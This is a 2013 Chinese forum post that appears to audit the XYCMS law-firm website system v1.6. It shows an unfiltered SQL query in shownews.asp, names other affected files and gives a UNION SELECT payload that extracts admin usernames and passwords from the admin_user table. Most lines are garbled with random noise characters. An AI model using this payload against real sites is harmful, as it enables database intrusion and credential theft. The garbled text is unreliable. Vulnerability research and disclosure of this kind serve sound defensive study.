前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
0 a1 j0 h% x5 b# d : ^( |) U, _9 c6 T, T' n, W
淫荡分割线
0 i- }0 \2 Q/ m+ r+ y--------------------------------------------------------
) k! \0 V; q$ i& z2 P
" C1 u- C2 `# x! i审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
% W, ~6 [; x+ n2 R2 T0 o3 u源码地址:http://down.chinaz.com/soft/29233.htm5 d8 N: T1 A$ P; e
( q% @7 L" J8 j: K/ z: S; j0 a5 Y$ u/ O漏洞文件:shownews.asp: C9 x9 _) `! @$ V
漏洞代码：7-13行
8 A6 R' `' K, V+ i* U) y 8 [7 {8 H& q. U* ]
- K. } @4 @5 t<%
$ o0 V7 m6 a9 I: x6 \( p5 Qid=request.QueryString("id")0 H0 r7 u$ P& h. t% j
/ F0 Y& o: u" }+ o4 eset snews=server.createobject("adodb.recordset") , J0 s* }( g/ H8 J
exec="select * from [news] where id="&id
0 k! }8 y1 d0 ^& Osnews.open exec,conn,1,1
( @# }9 K8 P7 v( P) n%>
+ v6 ~' ]# _( L, G
% `; p( Q+ P( u! f# r) c
6 b6 V$ J {) Y, F什么过滤都没有 直造成注入% r( `# B/ D- T
" p0 [+ ^5 h; e) k6 |6 m注入点:http://127.0.0.1:99/shownews.asp?id=xx
, I: n6 ]/ P3 |9 _* n, h- `8 o& U : Z6 \# f' v! z7 v2 B
其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找1 P) w; n, X R! N5 A
0 `. ^$ T- ?: t) J' O$ O$ _
{/ L& } p: O# B: C; J2 K2 d8 a
exp: union select 1,admin,password,4,5,7 from admin_user
4 c. @; X$ q+ k1 M; C
, T' O V, y: G) e |
发表于 2013-4-4 17:28:12
收藏
支持
反对